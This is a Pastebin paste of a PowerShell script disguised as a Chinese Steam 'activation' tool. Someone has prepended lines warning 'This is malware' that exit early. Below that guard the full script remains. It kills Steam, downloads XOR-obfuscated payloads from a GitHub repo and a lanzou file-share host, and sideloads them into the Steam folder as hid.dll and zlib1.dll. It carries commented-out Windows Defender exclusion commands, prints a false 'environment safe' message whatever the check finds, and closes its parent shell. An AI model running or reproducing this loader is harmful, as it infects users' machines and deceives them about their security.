Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # ====== START OF ADDED CODE =====
- Write-Host "This is malware. Don't run this shit !"
- exit 1
- # ====== END OF ADDED CODE =======
- Clear-Host
- #Requires -RunAsAdministrator
- [Console]::OutputEncoding = [System.Text.Encoding]::UTF8
- $ErrorActionPreference = "SilentlyContinue"
- Write-Host -NoNewline " `r"
- Write-Host -NoNewline " %@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " %@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@: `r"
- Write-Host -NoNewline " %@@@@@@@@@@@@@@@@@@@@@@@@: %@@@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ @ :@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ :@ @@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ -@ @@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@ @ @ @@@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@ @ @ @@@@@@@ `r"
- Write-Host -NoNewline " *@@@@@@@@@@@@@@@@@@@@. @ @ @@@@@@@@ `r"
- Write-Host -NoNewline " *@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@ `r"
- Write-Host -NoNewline " +@@@@@@@@@@ @@@@@@@@@@ `r"
- Write-Host -NoNewline " +@@ @@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @@@@@ @@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @ @@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @@@ @ @@@@@@@@@@@@@@@@@@@@@@@@% `r"
- Write-Host -NoNewline " @@@@@@ @ @ -@@@@@@@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " .@@@@@@ @ @ @@@@@@@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @@@@@@- @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@% `r"
- Write-Host -NoNewline " @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@: @@@@@@@@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@% `r"
- Write-Host -NoNewline " @@@@@@@@@@@@@@@+ `r"
- Write-Host -NoNewline " _____ _____ _____ _____ _____ `r"
- Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r"
- Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r"
- Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r"
- Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r"
- Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r"
- Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r"
- Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r"
- Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r"
- Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r"
- Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r"
- Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r"
- Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r"
- Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r"
- Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r"
- Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r"
- Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r"
- Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r"
- Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r"
- Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r"
- Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r"
- function Get-DownloadUrl
- {
- param (
- [string]$fid,
- [string]$p = $null
- )
- try
- {
- $baseUrl = 'https://www.lanzoup.com'
- $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
- }
- catch
- {
- $baseUrl = 'https://www.lanzoui.com'
- $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
- }
- $content = $response.Content
- $locUrl = [regex]::Match($content, 'window.location.href="(.*?)";').Groups[1].Value
- if ($locUrl)
- {
- $response = Invoke-WebRequest -UseBasicParsing -Uri $locUrl -Headers @{ 'User-Agent' = '' }
- $content = $response.Content
- }
- $iframeUrl = [regex]::Match($content, '<iframe class="ifr2" .*? src="(.*?)" .*?></iframe>').Groups[1].Value
- if ($iframeUrl)
- {
- $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl$iframeUrl" -Headers @{ 'User-Agent' = '' } -Method Post
- $content = $response.Content
- $sign = [regex]::Match($content, "var wp_sign = '(.*?)';").Groups[1].Value
- }
- else
- {
- $sign = [regex]::Match($content, "var skdklds = '(.*?)';").Groups[1].Value
- }
- if (-not$sign)
- {
- return
- }
- $urlMatch = [regex]::Match($content, "url : '(.*?file=\d{2,})',").Groups[1].Value
- if (-not$urlMatch)
- {
- return
- }
- $headers = @{
- 'User-Agent' = ''
- 'Referer' = $response.BaseResponse.ResponseUri.AbsoluteUri
- }
- $body = @{ 'action' = 'downprocess'; 'sign' = $sign; 'kd' = 1 }
- if ($null -ne $p)
- {
- $body['p'] = $p
- }
- $response = Invoke-RestMethod -Uri "$baseUrl$urlMatch" -Headers $headers -Method Post -Body $body
- if ($null -eq $response)
- {
- return
- }
- $dom = $response.dom
- if (-not$dom)
- {
- return
- }
- $downloadUrl = $response.url
- if (-not$downloadUrl)
- {
- return
- }
- return "$dom/file/$downloadUrl"
- }
- function Invoke-WithRetry
- {
- param(
- [scriptblock]$ScriptBlock,
- [int]$MaxRetries = 10,
- [int]$DelaySeconds = 1
- )
- $retryCount = 0
- while ($retryCount -lt $MaxRetries)
- {
- try
- {
- return & $ScriptBlock
- }
- catch
- {
- $retryCount++
- if ($retryCount -ge $MaxRetries)
- {
- throw $_
- }
- Start-Sleep -Seconds $DelaySeconds
- }
- }
- }
- function DownloadFile
- {
- param(
- [string]$url,
- [string]$savePath,
- [string]$hash,
- [string]$targetPath,
- [string]$fid
- )
- if (-not$targetPath)
- {
- $targetPath = $savePath
- }
- if ((Test-Path $targetPath) -and ((Get-FileHash -Path $targetPath -Algorithm MD5).Hash -eq $hash))
- {
- return
- }
- if (Test-Path $savePath)
- {
- Remove-Item -Path $savePath -Force -ErrorAction Stop
- }
- Add-Type -TypeDefinition "using System.IO;public class XorUtil{public static void XorFile(string p,byte key){var b=File.ReadAllBytes(p);for(int i=0;i<b.Length;i++)b[i]^=key;File.WriteAllBytes(p,b);}}";
- $urls = @()
- if ($fid)
- {
- try
- {
- $urls += (Get-DownloadUrl -fid $fid)
- }
- catch
- {
- }
- }
- $urls += $url
- $err = $null
- Invoke-WithRetry -ScriptBlock {
- foreach ($url in $urls)
- {
- try
- {
- $job = Start-Job -ScriptBlock {
- param($url, $savePath)
- Invoke-RestMethod -Uri $url -Headers @{ 'Accept-Language' = 'zh-CN' } -OutFile $savePath -ErrorAction Stop
- } -ArgumentList $url, $savePath
- $job | Wait-Job -Timeout 30 | Out-Null
- if ($job.State -eq "Running")
- {
- $job | Stop-Job -PassThru | Remove-Job -Force
- throw "下载超时"
- }
- [XorUtil]::XorFile($savePath, 0x73)
- return
- }
- catch
- {
- $err = $_
- }
- }
- if (-not($null -eq $err))
- {
- throw $err
- }
- }
- }
- try
- {
- $filePathToDelete = "a.ps1"
- if (Test-Path $filePathToDelete)
- {
- Remove-Item -Path $filePathToDelete -Force
- }
- $targetDirectory = Join-Path $env:APPDATA "Stool"
- if (-not(Test-Path $targetDirectory))
- {
- New-Item -Path $targetDirectory -ItemType Directory | Out-Null
- }
- $savePathZip = Join-Path $targetDirectory "legit"
- Write-Host ""
- Write-Host ""
- Write-Host " [STEAM] 激活进程准备中,请稍候..."
- $steamRegPath = 'HKCU:\Software\Valve\Steam'
- $steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath
- if ($null -eq $steamPath)
- {
- Write-Host " [STEAM] Steam 可能没有正确安装,请重新安装 Steam 后再试" -ForegroundColor Red
- exit
- }
- $exePath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamExe').SteamExe
- $exePid = (Get-ItemProperty -Path ($steamRegPath + "\ActiveProcess") -Name 'pid').pid
- if ($null -ne $exePid)
- {
- Stop-Process -Id $exePid -ErrorAction SilentlyContinue
- }
- $registryPath = "HKCU:\Software\Valve\Steamtools"
- if (-not(Test-Path $registryPath))
- {
- New-Item -Path $registryPath -Force | Out-Null
- }
- Set-ItemProperty -Path $registryPath -Name "packageinfo" -Value "" | Out-Null
- Remove-ItemProperty -Path $registryPath -Name "c" | Out-Null
- if (Test-Path "env:c")
- {
- Set-ItemProperty -Path $registryPath -Name "c" -Value $env:c -Type DWORD | Out-Null
- }
- $runningProcess = Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" }
- $runningProcess | ForEach-Object {
- Stop-Process $_ -Force
- }
- if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') ))
- {
- Write-Host " [STEAM] 请使用管理员模式运行" -ForegroundColor Red
- }
- $waitTimes = 10
- while (Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" })
- {
- Start-Sleep -Seconds 1
- $waitTimes--
- if ($waitTimes -lt 0)
- {
- break
- }
- }
- $ProgressPreference = 'SilentlyContinue'
- DownloadFile -url 'https://github.com/steam-run/aa/raw/master/legit' -savePath $savePathZip -hash '3D32EEDBDCE0E43FB19D8FD36ADBCF9F'
- $savePathTxt = Join-Path $targetDirectory "winhttp-log.txt"
- $savePathTxt1 = Join-Path $targetDirectory "winhttp-log1.txt"
- if (Get-Service | where-object{ $_.name -eq "windefend" -and $_.status -eq "running" })
- {
- # Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
- # Add-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
- Write-Host -NoNewline " [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
- }
- else
- {
- Write-Host -NoNewline " [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
- }
- $appCacheDirectory = Join-Path $steamPath "appcache"
- $savePathVdf = Join-Path $appCacheDirectory "appdata.vdf"
- if (-not(Test-Path $appCacheDirectory))
- {
- New-Item -Path $appCacheDirectory -ItemType Directory -ErrorAction Stop | Out-Null
- }
- $steamTxt = Join-Path $steamPath "hid.log"
- $d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")
- $steamTxt1 = Join-Path $steamPath "zlib1.log"
- $d_path1 = [System.IO.Path]::ChangeExtension($steamTxt1, ".dll")
- DownloadFile -url 'https://github.com/steam-run/aa/raw/master/2/appdata.vdf' -savePath $savePathVdf -hash '0921A94753C0BE443470AC52D17F313A'
- DownloadFile -url 'https://github.com/steam-run/aa/raw/master/2/hid.dll' -savePath $savePathTxt -hash '8AF54131FDCFF059BE41282A1BAF3FA5' -targetPath $d_path
- DownloadFile -url 'https://github.com/steam-run/aa/raw/master/2/zlib1.dll' -savePath $savePathTxt1 -hash '822F765B45F77AE59E7C6091E69E3814' -targetPath $d_path1
- foreach ($file in @("steam.cfg", "version.dll", "user32.dll"))
- {
- $filePath = Join-Path $steamPath $file
- if (Test-Path $filePath)
- {
- Remove-Item $filePath -Force
- }
- }
- if (Test-Path $savePathTxt)
- {
- Move-Item -Path $savePathTxt -Destination $steamTxt -Force -ErrorAction Stop
- if (Test-Path $savePathTxt)
- {
- Remove-Item $savePathTxt -Force
- }
- if (Test-Path $d_path)
- {
- Remove-Item $d_path -Force -ErrorAction Stop
- }
- Rename-Item -Path $steamTxt -NewName $d_path -Force -ErrorAction Stop
- }
- if (Test-Path $savePathTxt1)
- {
- Move-Item -Path $savePathTxt1 -Destination $steamTxt1 -Force -ErrorAction Stop
- if (Test-Path $savePathTxt1)
- {
- Remove-Item $savePathTxt1 -Force
- }
- if (Test-Path $d_path1)
- {
- Remove-Item $d_path1 -Force -ErrorAction Stop
- }
- Rename-Item -Path $steamTxt1 -NewName $d_path1 -Force -ErrorAction Stop
- }
- $loginUsersPath = Join-Path $steamPath "config\loginusers.vdf"
- if (Test-Path $loginUsersPath)
- {
- (Get-Content $loginUsersPath -Encoding UTF8) -replace '("WantsOfflineMode"\s+)("\d+")', "`$1`"0`"" | Set-Content $loginUsersPath -Encoding UTF8
- }
- $configPath = Join-Path $steamPath "config\config.vdf"
- if (Test-Path $configPath)
- {
- (Get-Content $configPath -Encoding UTF8) -replace '("DisableShaderCache"\s+)("\d+")', "`$1`"1`"" | Set-Content $configPath -Encoding UTF8
- }
- if (-not(Test-Path $exePath))
- {
- $exePath = Join-Path $steamPath "steam.exe"
- }
- if (Test-Path $exePath)
- {
- Invoke-Expression -Command "start steam://open/activateproduct"
- }
- else
- {
- Write-Host " [STEAM] 主进程 $exePath 丢失,安装失败"
- exit
- }
- Write-Host " [STEAM] 激活进程准备就绪,Steam 打开中,请稍候..."
- for ($i = 9; $i -ge 0; $i--) {
- Write-Host "`r [STEAM] 本窗口将在 $i 秒后关闭..." -NoNewline
- Start-Sleep -Seconds 1
- }
- $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$PID'"
- while ($null -ne $instance -and -not($instance.ProcessName -ne "powershell.exe" -and $instance.ProcessName -ne "WindowsTerminal.exe"))
- {
- $parentProcessId = $instance.ProcessId
- $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$( $instance.ParentProcessId )'"
- }
- if ($null -ne $parentProcessId)
- {
- Stop-Process -Id $parentProcessId -Force -ErrorAction SilentlyContinue
- }
- exit
- }
- catch
- {
- Write-Host "发生错误:$( $_.Exception.Message )"
- }
Advertisement
Comments
-
Comment was deleted
-
- ⣿⣿⣿⣿⣿⠟⠋⠄⠄⠄⠄⠄⠄⠄⢁⠈⢻⢿⣿⣿⣿⣿⣿⣿⣿
- ⣿⣿⣿⣿⣿⠃⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⡀⠭⢿⣿⣿⣿⣿
- ⣿⣿⣿⣿⡟⠄⢀⣾⣿⣿⣿⣷⣶⣿⣷⣶⣶⡆⠄⠄⠄⣿⣿⣿⣿
- ⣿⣿⣿⣿⡇⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠄⠄⢸⣿⣿⣿⣿
- ⣿⣿⣿⣿⣇⣼⣿⣿⠿⠶⠙⣿⡟⠡⣴⣿⣽⣿⣧⠄⢸⣿⣿⣿⣿
- ⣿⣿⣿⣿⣿⣾⣿⣿⣟⣭⣾⣿⣷⣶⣶⣴⣶⣿⣿⢄⣿⣿⣿⣿⣿
- ⣿⣿⣿⣿⣿⣿⣿⣿⡟⣩⣿⣿⣿⡏⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
- ⣿⣿⣿⣿⣿⣿⣹⡋⠘⠷⣦⣀⣠⡶⠁⠈⠁⠄⣿⣿⣿⣿⣿⣿⣿
- ⣿⣿⣿⣿⣿⣿⣍⠃⣴⣶⡔⠒⠄⣠⢀⠄⠄⠄⡨⣿⣿⣿⣿⣿⣿
- ⣿⣿⣿⣿⣿⣿⣿⣦⡘⠿⣷⣿⠿⠟⠃⠄⠄⣠⡇⠈⠻⣿⣿⣿⣿
- ⣿⣿⣿⣿⡿⠟⠋⢁⣷⣠⠄⠄⠄⠄⣀⣠⣾⡟⠄⠄⠄⠄⠉⠙⠻
- ⡿⠟⠋⠁⠄⠄⠄⢸⣿⣿⡯⢓⣴⣾⣿⣿⡟⠄⠄⠄⠄⠄⠄⠄⠄
- ⠄⠄⠄⠄⠄⠄⠄⣿⡟⣷⠄⠹⣿⣿⣿⡿⠁⠄⠄⠄⠄⠄⠄⠄⠄
-
- 回來DC繼續瞎掰,我還想看
Add Comment
Please, Sign In to add comment